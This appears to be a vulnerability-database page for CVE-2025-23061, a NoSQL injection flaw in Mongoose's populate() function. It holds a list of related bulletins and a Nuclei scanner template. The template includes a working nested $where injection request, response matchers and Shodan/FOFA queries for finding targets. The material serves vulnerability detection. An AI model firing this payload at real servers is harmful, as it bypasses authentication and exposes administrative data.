| Reporter | Title | Published | Views | Family All 43 |
|---|---|---|---|---|
| Security Bulletin: IBM watsonx Orchestrate Cartridge affected by vulnerability in Mongoose | 6 May 202519:15 | – | ibm | |
| Security Bulletin: IBM watsonx Orchestrate Cartridge affected by vulnerability in Mongoose | 15 Apr 202503:57 | – | ibm | |
| Security Bulletin: Mongoose before 8.8.3 can improperly use $where in match, leading to search injection. | 17 Apr 202503:08 | – | ibm | |
| Security Bulletin: Mongoose Improper Handling of Nested $where in populate() Match Allows Search Injection | 26 Jun 202518:27 | – | ibm | |
| Exploit for CVE-2024-53900 | 3 Apr 202517:01 | – | githubexploit | |
| Exploit for CVE-2024-53900 | 19 Aug 202510:20 | – | githubexploit | |
| Exploit for Code Injection in Mongoosejs Mongoose | 11 Dec 202507:50 | – | githubexploit | |
| CVE-2024-53900 | 2 Dec 202422:06 | – | circl | |
| CVE-2025-23061 | 15 Jan 202504:32 | – | circl | |
| Automattic Mongoose 安全漏洞 | 2 Dec 202400:00 | – | cnnvd |
id: CVE-2025-23061
info:
name: Mongoose - NoSQL Injection
author: NamhyunKo
severity: critical
description: |
NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
impact: |
Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
remediation: |
Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
reference:
- https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
- https://github.com/Automattic/mongoose/releases/tag/8.9.5
- https://github.com/NamhyeonKo/mongoose-cve-lab
- https://nvd.nist.gov/vuln/detail/CVE-2025-23061
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.0
cve-id: CVE-2025-23061
epss-score: 0.55322
epss-percentile: 0.98106
cwe-id: CWE-94
cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
metadata:
verified: true
max-request: 1
shodan-query: title:"Mongoose"
fofa-query: title="Mongoose"
tags: cve,cve2025,nosql,mongoose,nodejs,vuln
http:
- method: GET
path:
- '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"isAdmin":true'
- '"title":'
- '"username":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 4a0a0047304502206896d44d2e4db71d2bcf7529cf0f7cd13905ee42c8b44aa5d4c1e085f759d0d5022100f433187cc3d3150d63ba8485449a389b4b0d612e9199abab74c9ed1f093e4cf9:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation